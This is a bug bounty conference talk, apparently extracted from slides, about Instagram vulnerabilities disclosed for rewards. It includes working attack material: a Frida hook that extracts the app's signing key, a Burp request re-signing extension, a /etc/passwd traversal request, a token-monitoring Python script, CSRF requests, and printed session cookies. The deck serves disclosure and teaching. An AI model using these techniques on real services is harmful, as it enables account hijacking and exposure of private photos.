THE TALES OF A BUG BOUNTY HUNTER

ARNE SWINNEN
@ARNESWINNEN
HTTPS://WWW.ARNESWINNEN.NET
WHOAMI

- Arne Swinnen from Belgium, 26 years old
- IT Security Consultant since 2012
- Companies I have directly worked for:

Currently

Past

One packer to rule them all

Cyber Security Challenge Belgium
AGENDA

• Introduction
• Setup
  • Man-in-the-Middle
  • Signature Key Phishing
• Vulnerabilities
  • Infrastructure: 1
  • Web: 2
  • Hybrid: 4
  • Mobile: 2
• Conclusion
• Q&A
INTRO
INTRODUCTION

Motivation

• Intention since 2012
• CTF-like, with rewards
• Write-ups

Timing

• Since April 2015
• Time spent: +-6 weeks
• Vacations sacrificed 😊
INTRODUCTION

• “Facebook for Mobile Pictures”: iOS & Android Apps, Web
• 400+ Million Monthly Active Users in September 2015
• Included in Facebook’s Bug Bounty Program 😊
INTRODUCTION

Public account: cats_of_instagram
- Profile: Cats of Instagram
- Description: It's #TwitterWeek! Follow us on Twitter & send us your ONE best cat photo for a chance to be featured!
- Web: catsofinstagram.com/twitter.com/catsofinstagram
- Publications: 4,804 posts
- Followers: 5.3m
- Following: 7

Private account: bruteforceme
- Profile: BruteforcerMe
- Description: Request to follow bruteforceme to see their photos and videos.
- Publications: 1 post
- Followers: 0
- Following: 0

This Account is Private

Links:
- About Us
- Support
- Blog
- Press
- API
- Jobs
- Privacy
- Terms
- Language
SETUP
MAN-IN-THE-MIDDLE
MAN-IN-THE-MIDDLE
MAN-IN-THE-MIDDLE

• Attempt 1: Android Wifi Proxy Settings

Proxy
Manual

The HTTP proxy is used by the browser but may not be used by the other apps.
Proxy hostname
192.168.0.226
Proxy port
8080
Bypass proxy for
e.example.com, mycomp.test.com, etc
IP settings
DHCP

Proxy Listeners
Burp Proxy uses listeners to receive incoming HTTP

Add
Edit
Remove

Running Interface

192.168.0.226:8080
MAN-IN-THE-MIDDLE

• Attempt 1: Android Wifi Proxy Settings (ctd.)

Instagram v6.18.0
25/03/2015
MAN-IN-THE-MIDDLE

• Attempt 1: Android Wifi Proxy Settings (ctd.)

"Good Morning"?

No such thing.
MAN-IN-THE-MIDDLE

• Attempt 2: Ad-hoc WiFi Access Point

Personal Android device
USB Tethering ON

Personal Macbook Pro
Internet Sharing via WiFi ON

Android Test Device
Connected to Ad-hoc Network
MAN-IN-THE-MIDDLE

- Attempt 2: Ad-hoc WiFi Access Point (ctd.)

Instagram v6.18.0
25/03/2015
MAN-IN-THE-MIDDLE

- Attempt 2: Ad-hoc WiFi Access Point (ctd.)
## SIGNATURE KEY PHISHING

### Burp Intruder Repeater Window Help

<table>
<thead>
<tr>
<th>Target</th>
<th>Proxy</th>
<th>Spider</th>
<th>Scanner</th>
<th>Intruder</th>
<th>Repeater</th>
<th>Sequencer</th>
<th>Decoder</th>
<th>Comparer</th>
<th>Extender</th>
<th>Options</th>
<th>Alerts</th>
</tr>
</thead>
<tbody>
<tr>
<td>Intercept</td>
<td>HTTP history</td>
<td>WebSockets history</td>
<td>Options</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Filter: Hiding XML, CSS, general text, image and flash content; hiding specific extensions

<table>
<thead>
<tr>
<th>#</th>
<th>Host</th>
<th>Method</th>
<th>URL</th>
<th>Params</th>
<th>Edited</th>
<th>Status</th>
<th>Length</th>
<th>MIME type</th>
<th>Extension</th>
</tr>
</thead>
<tbody>
<tr>
<td>927</td>
<td><a href="https://i.instagram.com">https://i.instagram.com</a></td>
<td>POST</td>
<td>/api/v1/accounts/login/</td>
<td>✔️</td>
<td></td>
<td>400</td>
<td>554</td>
<td>JSON</td>
<td></td>
</tr>
</tbody>
</table>

### Request

POST /api/v1/accounts/login/ HTTP/1.1
X-IG-Connection-Type: WIFI
X-IG-Capabilities: HQ==
Content-Length: 367
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: i.instagram.com
Connection: Keep-Alive
User-Agent: Instagram 7.10.0 Android (19/4.4.4; 320dpi; 768x1184; LGE/google; Nexus 4; mako; mako; en_US)
Cookie: csrftoken=423d22c063a801f468f21d449ed8a103; mid=Ak4kSxQAHABAE0XswH9_NWNYhimepG
Cookie2: $Version=1
Accept-Language: en-US
Accept-Encoding: gzip

signed_body=da65262740c077cf0488ba9185c9c05b6474b500edc7e7ba83871a3b63849919.%7B%22_csrftoken%22%3A%22423d22c063a801f468f21d449ed8a103%7D%22%3A%22b0644495-5663-4917-b889-156f95b7f610%22%2C%22device_id%22%3A%22android-f86311b4vsa5j7d%22%2C%22sig_key_version=4
SIGNATURE KEY PHISHING

signed_body=
0df7827209d895b1478a35a1882a9e1c87d3ba114cf8b1f603494b08b5d093b1.
{"_csrftoken":"423d22c063a801f468f21d449ed8a103","username":"abc","guid":"b0644495-5663-4917-b889-156f95b7f610","device_id":"android-f86311b4vsaj7d2","password":"abc","login_attempt_count":"11"}
signed_body=
0df7827209d895b1478a35a1882a9e1c87d3ba114cf8b1f603494b08b5d093b1.
{"_csrftoken":"423d22c063a801f468f21d449ed8a103","username":"abc","guid":"b0644495-5663-4917-b889-156f95b7f610","device_id":"android-f86311b4vsa5j7d2","login_attempt_count":null}
package com.instagram.strings;

import com.facebook.f.a.a;

public class StringBridge
{
    private static boolean a = false;

    static
    {
        try
        {
            h.a("scrambler");
            h.a("strings");
            return;
        }
        catch (Throwable localThrowable)
        {
            a.b(StringBridge.class,"Failed to load native string libraries",localThrowable);
            a = true;
        }
    }

    public StringBridge()
    {
    }

    public static boolean a() {
        return a;
    }

    public static native String getInstagramString(String paramString);

    public static native String getSignatureString(byte[] paramArrayOfByte);
int Java_com_instagram_strings_StringBridge_getSignatureString(int arg0) {
    r8 = *0x3f90;
    r7 = (sp - 0xec) + 0x0;
    r5 = r2;
    r8 = *0x3f90;
    r4 = arg0;
    *(r7 + 0xe4) = *r8;
    r3 = *arg0;
    r3 = *(r3 + 0x2e0);
    r0 = (r3)(arg0, r2, 0x0, r3, var_110, var_10c, var_108, var_104, var_100, var_FC, var_F8, var_F4, var_F0);
    r3 = *r4;
    r3 = *(r3 + 0x2ac);
    r10 = r0;
    r0 = (r3)(r4, r5);
    r3 = r0;
    *(r7 + 0x4) = r3;
    std::basic_string<char, std::char_traits<char>, std::allocator<char>> ::basic_string();
    r11 = Scrambler::getString();
    std::basic_string<char, std::char_traits<char>, std::allocator<char>> ::~basic_string();
    sp = sp - 0xec - (crypto_auth_hmacsha256_bytes() + 0x7 & !0x7);
    r0 = strlen(r11);
    crypto_auth_hmacsha256_init(r7 + 0x14, r11, r0);
    r3 = *(r7 + 0x4);
    crypto_auth_hmacsha256_update();
    crypto_auth_hmacsha256_final(r7 + 0x14, sp);
    (*(*r4 + 0x300))(r4, r5, r10, 0x0);
    r0 = crypto_auth_hmacsha256_bytes();
    r5 = 0x0;
    r6 = operator new[]();
    while (r5 < crypto_auth_hmacsha256_bytes()) {
        snprintf(r6 + r5 + 0x2, 0x3, 0x2ce9);
        r5 = r5 + 0x1;
    }
    r4 = (*(*r4 + 0x29c))(r4, r6);
    if (r6 != 0x0) {
        operator delete[]();
    }
    r8 = *0x3f90;
    r2 = *(r7 + 0xe4);
    r0 = r4;
    if (r2 != *r8) {
        r0 = __stack_chk_fail();
    }
    return r0;
}
```cpp
int Scrambler::getString(std::string)(void arg0) {
    r6 = arg0;
    r3 = 0x2000c;
    r7 = *r3;
    r7 = r7 + 0x4;
    r4 = *(r7 + 0x4);
    r5 = r7;
    while (r4 != 0x0) {
        if (std::string::compare() < 0x0) {
            r3 = *(r4 + 0xc);
        }
        if (CPU_FLAGS & L) {
            r4 = r5;
        }
        if (CPU_FLAGS & GE) {
            r3 = *(r4 + 0x8);
        }
        r5 = r4;
        r4 = r3;
    }
    if ((r5 != r7) && (std::string::compare() >= 0x0)) {
        r0 = *(r5 + 0x14);
        r0 = Scrambler::decrypt(r0);
    } else {
        r0 = 0x0;
    }
    return r0;
}
```
import frida
import sys

session = frida.get_usb_device(1000000).attach("com.instagram.android")
script = session.create_script(""
fs scrambler = Module.findExportByName(null,"_ZN9Scrambler9getStringESs");
Interceptor.attach(ptr(fs scrambler), {
    onLeave: function (retval) {
        send("key: " + Memory.readCString(retval));
    }
});
"
)

def on_message(message, data):
    print(message)

script.on('message', on_message)
script.load()
sys.stdin.read()
SIGNATURE KEY PHISHING

HMAC Generator / Tester Tool

Computes a Hash-based message authentication code (HMAC) using a secret key. A HMAC is a small set of data that helps authenticate the nature of message; it protects the integrity and the authenticity of the message.

The secret key is a unique piece of information that is used to compute the HMAC and is known both by the sender and the receiver of the message. This key will vary in length depending on the algorithm that you use.

I use Bouncy Castle for the implementation.

You can also use this page in HTTPS (SSL).

Copy-paste the message here

```
{"_csrf_token":"423d22c063a801f468f21d449ed8a103","username":"abc","guid":"b0644495-5663-4917-b889-156f95b7f610","device_id":"android-86311b4vsa5j7d2","password":"abc","login_attempt_count":"12"}
```

Secret Key

```
c1c7d84501d2f0df05c378f5e9b9120909ecfb39df5494aa361ec0deadb509a
```

Select a message digest algorithm

SHA256

[COMPUTE HMAC]

Computed HMAC (in Hex):

```
0df7827209d895b1478a35a1882a9e1c87d3ba114c8b1f603494b08b5d093b1
```
SIGNATURE KEY PHISHING

HMAC Generator / Tester Tool

Computes a Hash-based message authentication code (HMAC) for a message; it protects the integrity and the origin of the message.

The secret key is a unique piece of information that will vary in length depending on the algorithm used.

I use Bouncy Castle for the implementation.

You can also use this page in HTTPS (SSL).

Copy-paste the message here:

```
("_csrf_token":"423d22c063a01f46c06311b4vsa5j7d2","password":"ab"
```

Secret Key:

c1c7d84501d2f0df05c378f5efb91202f5

Select a message digest algorithm:

SHA256

Compute HMAC

Computed HMAC (in Hex):

0df7827209d895b1478a35a1882a9e1c87d3ba114c8b1f603494b08b5d093b1
@Override
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)
{
    // keep a reference to our callbacks object
    this.callbacks = callbacks;
    this.helpers = callbacks.getHelpers();
    // set our extension name
    callbacks.setExtensionName("Signature Instagram");
    // obtain our output stream
    stdout = new PrintWriter(callbacks.getStdout(), true);
    // register ourselves as an HTTP listener
    callbacks.registerHttpListener(this);
}

@Override
public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo)
{
    if(messageIsRequest) {
        byte[] request = messageInfo.getRequest();
        IParameter param = this.helpers.getRequestParameter(request, "signed_body");
        if(param != null) {
            String value = param.getValue();
            int index = value.indexOf(hehe);
            if(index != -1 && (index+1) < value.length()) {
                String origSig = value.substring(0, index);
                String payload = this.helpers.urlEncodeValue.substring(index+1);
                String newSig = BurpExtender.calculateSignature(payload);
                if(newSig.equals(newSig)) {
                    stdout.println("[Request] Modification detected! Updating signature now. [" + callbacks.getToolName(toolFlag) + "]");
                    String newValue = newSig + ";" + this.helpers.urlEncode(payload);
                    IParameter newparam = this.helpers.buildParameter("signed_body", newValue, param.getType());
                    byte[] oldreq = this.helpers.removeParameter(request, param);
                    messageInfo.setRequest(this.helpers.addParameter(oldreq, newparam));
                }
            }
        }
    }
}

private static String calculateSignature(String data) {
    Mac sha256_HMAC;
    try {
        sha256_HMAC = Mac.getInstance("HmacSHA256");
        SecretKeySpec secret_key = new SecretKeySpec(key.getBytes("UTF-8"), "HmacSHA256");
        sha256_HMAC.init(secret_key);
        return bytesToHex(sha256_HMAC.doFinal(data.getBytes("UTF-8"))).toLowerCase();
SIGNATURE KEY PHISHING

Burp Extensions
Extensions let you customize Burp's behavior using your own or third-party code.

<table>
<thead>
<tr>
<th>Add</th>
<th>Remove</th>
<th>Up</th>
<th>Down</th>
</tr>
</thead>
</table>

Loaded | Type | Name |
---|---|---|
[ ] | Java | Signature Instagram |

Details | Output | Errors
---|---|---|

- Output to system console
- Save to file: [ ] Select file ...
- Show in UI:

[Request] Modification detected! Updating signature now. [Proxy]
[Request] Modification detected! Updating signature now. [Repeater]
[Request] Modification detected! Updating signature now. [Intruder]
[Request] Modification detected! Updating signature now. [Intruder]
[Request] Modification detected! Updating signature now. [Scanner]
[Request] Modification detected! Updating signature now. [Scanner]
[Request] Modification detected! Updating signature now. [Scanner]
[Request] Modification detected! Updating signature now. [Scanner]
SIGNATURE KEY PHISHING

What people think it looks like

What it really looks like
VULNERABILITIES
INFRASTRUCTURE

1. Instagram.com Subdomain Hijacking on Local Network

```python
# python subbrute.py instagram.com
```
1. **Instagram.com Subdomain Hijacking on Local Network**

```python
# python subbrute.py instagram.com
instagram.com
www.instagram.com
blog.instagram.com
i.instagram.com
admin.instagram.com
mail.instagram.com
support.instagram.com
help.instagram.com
platform.instagram.com
api.instagram.com
business.instagram.com
bp.instagram.com
graphite.instagram.com
...
INFRASTRUCTURE

1. Instagram.com Subdomain Hijacking on Local Network

<table>
<thead>
<tr>
<th>Type</th>
<th>Domain Name</th>
<th>IP Address</th>
<th>TTL</th>
</tr>
</thead>
<tbody>
<tr>
<td>A</td>
<td>graphite.instagram.com</td>
<td>10.213.65.21</td>
<td>5 min</td>
</tr>
</tbody>
</table>

Keeping Instagram up with over a million new users in ...

We love stats at Instagram. Written by Etsy, it’s a network daemon that aggregates and rolls-up data into Graphite. At its core, it has two types of statistics: ...
1. Instagram.com Subdomain Hijacking on Local Network

Keeping Instagram up with over a million new users in twelve hours

On Tuesday we launched Instagram for Android, and it’s had a fantastic response so far. The last few weeks (on the infrastructure side) have been all about capacity planning and preparation to get everything in place, but on launch day itself the challenge is to find problems quickly, get to the bottom of them, and roll out fixes ASAP. Here are some tools & techniques we used to tackle problems as they arose:

**statsd**

We love statsd at Instagram. Written by Etsy, it’s a network daemon that aggregates and rolls-up data into Graphite. At its core, it has two types of statistics: counter and timers. We use the counters to track everything from number of signups per second to number of likes, and we use timers to time generation of feeds, how long it takes to follow users, and any other major action.

The single biggest reason we love statsd is how quickly stats show up and get updated in Graphite. Stats are basically real-time (in our system, they’re about 10 seconds delayed), which allows us to evaluate system and code changes immediately. Stats can be added at will, so if we discover a new metric to track, we can have it up and running very quickly. You can specify a sample rate, so we sprinkle logging calls throughout the web...
INFRASTRUCTURE

1. Instagram.com Subdomain Hijacking on Local Network

<table>
<thead>
<tr>
<th>Type</th>
<th>Domain Name</th>
<th>IP Address</th>
<th>TTL</th>
</tr>
</thead>
<tbody>
<tr>
<td>A</td>
<td>graphite.instagram.com</td>
<td>10.213.65.21</td>
<td>5 min</td>
</tr>
</tbody>
</table>

Reported by ns-852.awsdns-42.net on 7/5/2015 at 10:19:45 PM (UTC 0), just for you. (History)

<table>
<thead>
<tr>
<th>Type</th>
<th>Domain Name</th>
<th>IP Address</th>
<th>TTL</th>
</tr>
</thead>
<tbody>
<tr>
<td>A</td>
<td>sentry.instagram.com</td>
<td>10.206.31.25</td>
<td>5 min</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Type</th>
<th>Domain Name</th>
<th>IP Address</th>
<th>TTL</th>
</tr>
</thead>
<tbody>
<tr>
<td>A</td>
<td>sensu.instagram.com</td>
<td>10.210.242.37</td>
<td>5 min</td>
</tr>
</tbody>
</table>

Reported by ns-1683.awsdns-18.co.uk on 7/5/2015 at 10:19:25 PM (UTC 0), just for you. (History)
INFRASTRUCTURE

1. Instagram.com Subdomain Hijacking on Local Network

How to exploit?
INFRASTRUCTURE

1. Instagram.com Subdomain Hijacking on Local Network

Domain=instagram.com

httponly
1. Instagram.com Subdomain Hijacking on Local Network
INFRASTRUCTURE

1. Instagram.com Subdomain Hijacking on Local Network
   a) Claim 10.* IP on local network & start local webserver of http://graphite.instagram.com
   b) Lure victim into browsing to http://graphite.instagram.com while being authenticated to https://www.instagram.com
   c) Copy session cookie & hijack session
Thank you for your reply. This issue has been discussed at great lengths with the Facebook Security Team and while this behavior may be changed at some point in the future, it is not eligible for the bug bounty program.
Thank you for your reply. This issue has been discussed at great lengths with the Facebook Security Team and while this behavior may be changed at some point in the future, it is not eligible for the bug bounty program.
INFRASTRUCTURE

1. Instagram.com Subdomain Hijacking on Local Network

<table>
<thead>
<tr>
<th>Type</th>
<th>Domain Name</th>
<th>IP Address</th>
<th>TTL</th>
</tr>
</thead>
<tbody>
<tr>
<td>A</td>
<td>sensu.instagram.com</td>
<td>10.210.242.37</td>
<td>5 min</td>
</tr>
</tbody>
</table>

Reported by ns-1683.awsdns-18.co.uk on 7/5/2015 at 10:19:25 PM (UTC 0), just for you. (History)

<table>
<thead>
<tr>
<th>Type</th>
<th>Domain Name</th>
<th>Canonical Name</th>
<th>TTL</th>
</tr>
</thead>
<tbody>
<tr>
<td>CNAME</td>
<td>sensu.instagram.com</td>
<td>ec2-54-174-69-26.compute-1.amazonaws.com</td>
<td>5 min</td>
</tr>
</tbody>
</table>

Reported by ns-1144.awsdns-15.org on 9/20/2015 at 8:08:41 PM (UTC 0), just for you. (History)

---

Instagram's Million Dollar Bug

***Updates*** - 12/18/2015
INFRASTRUCTURE

![Sensu Admin dashboard](https://sensu.instagram.com)

<table>
<thead>
<tr>
<th>Status</th>
<th>Client</th>
<th>Check</th>
<th>Output</th>
</tr>
</thead>
<tbody>
<tr>
<td>Warn</td>
<td>sensu-backend0-vpc</td>
<td>autoscale_vxcode_healthy_hosts</td>
<td>Autoscale healthy hosts WARNING: vxcode-asg-c3.4xlarge has 0 healthy hosts</td>
</tr>
</tbody>
</table>

Showing 1 to 1 of 1 entries

API Version: 0.13.1  Redis: OK  RabbitMQ: OK  Keep Alives: Messages: 0 | Consumers: 1  Results: Messages: 0 | Consumers: 1  Mobile Site
INFRASTRUCTURE

sensu.instagram.com
- Sensu-Admin (web)
  - RCE
- Super weak accounts
- config.json
- AWS key #1

AWS S3 - Key #1
- autoscale bucket
- AWS key #2
- Other inaccessible buckets

AWS S3 - Key #2
- Keys
- Pictures
- EVERYTHING

Source: https://exfiltrated.com/research-Instagram-RCE.php
INFRASTRUCTURE

Internet

sensu.instagram.com
Sensu-Admin (web)
Super weak accounts
config.json
AWS key #1

AWS S3 - Key #1
autoscale bucket
AWS key #2
Other inaccessible buckets

AWS S3 - Key #2
Keys
Pictures
EVERYTHING

$2500

Source: https://exfiltrated.com/research-Instagram-RCE.php
2. Public Profile Tabnabbing
2. Public Profile Tabnabbing

```html
<script>
window.opener.location.replace('https://www.arneswinnen.net');
</script>
```
2. Public Profile Tabnabbing

One Packer to Rule Them All: Empirical Identification, Comparison and Circumvention of Current Antivirus Detection Techniques

Abstract: Lately, many popular antivirus solutions claim to be the most effective against unknown and obfuscated malware. Most of these solutions are rather vague about how they...
2. Public Profile Tabnabbing

http://blog.whatever.io/2015/03/07/on-the-security-implications-of-window-opener-location-replace/

We have previously been made aware of this issue and are in the process of investigating it. Thank you for submitting it to us. Please send along any additional security issues you encounter.
2. Public Profile Tabnabbing

http://blog.whatever.io/2015/03/07/on-the-security-implications-of-window-opener-location-replace/

We have previously been made aware of this issue and are in the process of investigating it. Please send along any additional security issues you encounter.
3. Web Server Directory Enumeration

https://instagram.com
3. Web Server Directory Enumeration

https://instagram.com/?hl=en
3. Web Server Directory Enumeration

https://instagram.com/?hl=../en
3. Web Server Directory Enumeration

```
GET /?hl=en/../../../../../../etc/passwd%00
HTTP/1.1
Host: instagram.com
Accept: */*
Connection: close
```

```
HTTP/1.1 500 INTERNAL SERVER ERROR
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Language: en
Content-Type: text/html; charset=utf-8
Date: Thu, 13 Aug 2015 23:51:05 GMT
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
Vary: Accept-Language, Cookie
Content-Length: 25
Connection: Close

Oops, an error occurred.
```
3. Web Server Directory Enumeration

Note

Plural form and po files

Django does not support custom plural equations in po files. As all translation catalogs are merged, only the plural form for the main Django po file (in `django/conf/locale/<lang_code>/LC_MESSAGES/django.po`) is considered. Plural forms in all other po files are ignored. Therefore, you should not use different plural equations in your project or application po files.
3. **Web Server Directory Enumeration**

https://instagram.com/?hl=../locale/en
3. Web Server Directory Enumeration

https://instagram.com/?hl=../wrong/en
3. Web Server Directory Enumeration

![GitHub Directory](https://github.com/fuzzdb-project/fuzzdb/tree/master/discovery/predictable-filepaths/filename-dirdname-bruteforce)
3. Web Server Directory Enumeration

42 hits for ../<GUESS>/../locale/nl/
Thank you for sharing this information with us. Although this issue does not qualify as a part of our bounty program we appreciate your report. We will follow up with you on any security bugs or with any further questions we may have.
Thank you for sharing this information with us. Although this issue does not qualify as a part of our bounty program, we appreciate your report. We will follow up with you on any security bugs or with any further questions we may have.
3. Web Server Directory Enumeration

My apologies on my previous reply, it was intended for another report. …

After reviewing the issue you have reported, we have decided to award you a bounty of $500 USD.
WEB

3. Web Server Directory Enumeration

My apologies on my previous reply, it was intended for another report. After reviewing the issue you have reported, we have decided to award you a bounty of $500 USD.
4. **Private Account Shared Pictures Token Entropy**

```json
{
    "status": "ok",
    "media": {
        "organic_tracking_token": "eyJ2ZXJzaW9uIjozLCJwYXlsb2FkIjp7ImlzX2FuYWx5dGljc190cmFja2VkljpmYWxzZSwidXVpZCI6IjYxNGMwYzk1MDRkMWU4YmI3ODlhZTY3MzUxZjNlIn0sInNpZ25hdHVyZSI6IiJ9",
        "client_cache_key": "MTExODI1MTg5MjE1NDQ4MTc3MQ==.2",
        "code": "-E1CvRRrxr",
        (...SNIP...)
        "media_type": 1,
        "pk": 1118251892154481771,
        "original_width": 1080,
        "has_liked": false,
        "id": "1118251892154481771_2036044526"
    },
    "upload_id": "1447526029474"
}
```
WEB + MOBILE

4. Private Account Shared Pictures Token Entropy

Private account
4. Private Account Shared Pictures Token Entropy
WEB + MOBILE

4. Private Account Shared Pictures Token Entropy
4. Private Account Shared Pictures Token Entropy

GET /api/v1/media/1118251892154481771_2036044526/permalink/ HTTP/1.1
Host: i.instagram.com

HTTP/1.1 200 OK
(…SNIP…)

{"status":"ok","permalink":"https://instagram.com/p/E1CvRRxrV/"}
WEB + MOBILE

4. Private Account Shared Pictures Token Entropy

![Instagram screenshot of hdmi22's private account](https://instagram.com/p/-E1CvRRxrr/)

Private account
4. Private Account Shared Pictures Token Entropy

<table>
<thead>
<tr>
<th>@Kevin Pk: 3</th>
<th>@MikeyK Pk: 4</th>
<th>@BritneySpears Pk: 12246775</th>
<th>@msvigdis Pk: 12246776</th>
</tr>
</thead>
<tbody>
<tr>
<td>1p1DhgBD-</td>
<td>159sxAABXG</td>
<td>16jJhV8HU</td>
<td>iV93JDG8Ue</td>
</tr>
<tr>
<td>1kHzf_gBLp</td>
<td>1onIDog8f3</td>
<td>1yFqcm8D9</td>
<td>XMUVDFm8X8</td>
</tr>
<tr>
<td>0-psghBAG</td>
<td>0yi-hjgBaE</td>
<td>1tejnLm8Co</td>
<td>VuWAQam8Xv</td>
</tr>
<tr>
<td>09pY_OgBPX</td>
<td>0k_oZWABSU</td>
<td>1r59Is8mGX</td>
<td>Vj81GHm8W9</td>
</tr>
<tr>
<td>0l1GTXABDo</td>
<td>0gboKEg8Yr</td>
<td>1qrMPRG8AB</td>
<td>UEoTBAG8Sy</td>
</tr>
<tr>
<td>0k_apGABdm</td>
<td>0UDrVFg6VJ</td>
<td>1ghW7RG8B2</td>
<td>TfpmtGm8QP</td>
</tr>
<tr>
<td>0f5P_6AB0e</td>
<td>z-maEDgBWk</td>
<td>1T3KHhm8N2</td>
<td>TWbkzfm8f-</td>
</tr>
<tr>
<td>0GEiJKABAC</td>
<td>z5HB2Bgbbj</td>
<td>1Q2H_WG8LX</td>
<td>TVOOKEm8To</td>
</tr>
<tr>
<td>0BuH09AB0x</td>
<td>zxeRSggBaL</td>
<td>1OywdMm8Lfy</td>
<td>TThPzXm8cm</td>
</tr>
<tr>
<td>z-9x5aBEq</td>
<td>zSqd5ABco</td>
<td>1H2JvG8DL</td>
<td>TS3Swlm8dZ</td>
</tr>
<tr>
<td>z8QVuXABD6</td>
<td>zQ6VkJABdH</td>
<td>08dtdTG8Hb</td>
<td>T0td3tm8Ve</td>
</tr>
<tr>
<td>z4vsirABO4</td>
<td>zJDzRgBbR</td>
<td>00exYm8Br</td>
<td>TOFrFm8aZ</td>
</tr>
<tr>
<td>z2KV00gBIE</td>
<td>zBrTlsABXv</td>
<td>0yXTU6m8MN</td>
<td>TJikVLm8W9</td>
</tr>
</tbody>
</table>
WEB + MOBILE

4. Private Account Shared Pictures Token Entropy

```python
username = raw_input("Enter the username of the Instagram user you want to monitor: ")
r = requests.get("http://instagram.com/" + username)
useridsearch = re.search("id": "([\^]+)", "biography", r.text)
if useridsearch is None:
    userid = str(useridsearch.group(1))
    print "Found userid: " + userid

uploadid = prepare_picture_upload(s)

r = requests.get('http://i.instagram.com/api/v1/users/" + userid + '/info/').json()
origmedia = r["user"]['media_count']
print "Current number of posts: " + str(origmedia)

while(True):
    r = requests.get('http://i.instagram.com/api/v1/users/" + userid + '/info/').json()
    newmedia = r["user"]['media_count']
    if origmedia < newmedia:
        r = do_post_request(s, "https://i.instagram.com/api/v1/media/configure/",
                           {"upload_id": uploadid,"source_type":4,'caption':""})
        codesearch = re.search("code": "([\^]+)", r.text)
        idssearch = re.search("id": "([\^]+)", r.text)
        if codesearch is None or idssearch is None:
            print "Could not successfully upload image myself and find a code."
        else:
            print str(idssearch.group(1)) + "," + str(codesearch.group(1))
        origmedia = newmedia
        uploadid = prepare_picture_upload(s)
```
4. Private Account Shared Pictures Token Entropy

<table>
<thead>
<tr>
<th>Private victim account (monitored by attacker)</th>
<th>Public attacker account (generated right after monitor hit)</th>
</tr>
</thead>
<tbody>
<tr>
<td>1yCwTJRnk</td>
<td>1yCwodpTIC</td>
</tr>
<tr>
<td>1yC05mJRNq</td>
<td>1yC0_ApTIL</td>
</tr>
<tr>
<td>1yC5PqPRnu</td>
<td>1yC5UopTILX</td>
</tr>
<tr>
<td>1yC9nTJRnw</td>
<td>1yC9repTlk</td>
</tr>
<tr>
<td>1yDGULpRN9</td>
<td>1yDGaDpTIl</td>
</tr>
<tr>
<td>1yDKrvpRoB</td>
<td>1yDKvtJTI8</td>
</tr>
<tr>
<td>1yDPCCpRol</td>
<td>1yDPHVpTIl_</td>
</tr>
<tr>
<td>1yDTCpRoO</td>
<td>1yDTdvpTmH</td>
</tr>
<tr>
<td>1yDXxRPrO</td>
<td>1yDX1fJTMp</td>
</tr>
<tr>
<td>1yDgdBpRol</td>
<td>1yDgj6JTmb</td>
</tr>
<tr>
<td>1yDk1qPPp</td>
<td>1yDk6ypTme</td>
</tr>
<tr>
<td>1yD6mjpRPp</td>
<td>1yD6sCpTnL</td>
</tr>
<tr>
<td>1yEDSpQpRpn</td>
<td>1yEDXYJTNnU</td>
</tr>
<tr>
<td>1yEHPNJRPt</td>
<td>1yEHTpTnc</td>
</tr>
<tr>
<td>1yEQWTPRqD</td>
<td>1yEQb3pTnw</td>
</tr>
<tr>
<td>1yEUtCJRQp</td>
<td>1yEUyJTN5</td>
</tr>
<tr>
<td>1yEZKJRQp</td>
<td>1yEZI3pToI</td>
</tr>
<tr>
<td>1yEdaxPRqe</td>
<td>1yEdfEpToO</td>
</tr>
</tbody>
</table>
WEB + MOBILE

4. Private Account Shared Pictures Token Entropy

Final entropy: $2 \times 64^4 = 33,554,432$ possibilities

→ Feasible!
WEB + MOBILE

4. Private Account Shared Pictures Token Entropy

After reviewing the issue you have reported, we have decided to award you a bounty of $1000 USD.
5. Private Account Shared Pictures CSRF

GET /api/v1/media/1118251892154481771_2036044526/permalink/ HTTP/1.1
Host: i.instagram.com
User-Agent: Instagram 7.10.0 Android (19/4.4.4; 320dpi; 768x1184; LGE/google; Nexus 4; mako; mako; en_US)
Cookie: sessionid=IGSC0098a4bee11b593953fd4a3fe0695560f407a103d8eef9f5be083ff21e186673:PEVejQeSkS2p8WYxAEgtyUWdXz9STvKM:{"_token_ver":1,"_auth_user_id":2036044526,"_token":"2036044526:7DcRpg1d0ve5T0NkbToN5yVleZUh0Ifh:571e05df8ecd8de2efc47dca5f222720233234f6f0511fb20e0ad42c1302ea27","_auth_user_backend":"accounts.backends.CaseInsensitiveModelBackend","last_refresh":1447525940.04528,"_platform":1}

HTTP/1.1 200 OK
...(SNIP)...

{"status":"ok","permalink":"https://www.instagram.com/p/V-E1CvRRxrV"}
WEB + MOBILE

5. Private Account Shared Pictures CSRF

```
{"status": "ok", "permalink": "https:\/\slash\/instagram.com\p\/ElCvRrxrZDkv4s1bR7jnlcmc-6Cgf-YhA0\"}
```
5. Private Account Shared Pictures CSRF

a) Find Private Account pictures image_id

b) Find permalink of Shared Private Account picture
WEB + MOBILE

5. Private Account Shared Pictures CSRF
   a) Find Private Account pictures image_id

Request by attackerapril14, obtaining the user tag feed of victimapril14:

```
GET /api/v1/usertags/1834740224/feed/ HTTP/1.1

GET /api/v1/usertags/1834740224/feed/ HTTP/1.1

Cookie: ds_user_id=1834735739; igfl=attackerapril14; csrftoken=c62c1b7939d31ef5a397d47e0f6deab6;
mid=V5YAxQABAAF8rnZltuR38g9L_JcH;
sessionid=IGSC0f6bd9053f46af065661341b814c925257045e0281d091e666359a04d3958dc2%3ADu6NBOBd2pTpR
djihCDPCYr3mks:sey%3A%7b%22_auth_user_id%22%3A1834735739%2C%22_token%22%3A%221834735739%3Atr3mMDvmlNisC7fu92WDP5I6obAXC4HLH8%3A001ef1a6209117adf855bf199c086eed571920a7448549976236e
9ae46ae80%22%2C%22_auth_user_backend%22%3A%22accounts.backends.CaseInsensitiveModelBackend%22%2C%22last_refreshed%22%3A142893171329889%2C%22_ti%22%3A1%2C%22_platform%22%3A1%7D;
is_starred_enabled=yes; ds_user=attackerapril14
```

Response, containing the private Image ID of victimapril14:

```
HTTP/1.1 200 OK

{"status":"ok","num_results":0,"auto_load_more_enabled":true,"items":[]},"more_available":false,"total_count":1,"requires_review":false,"new_photos":[]}
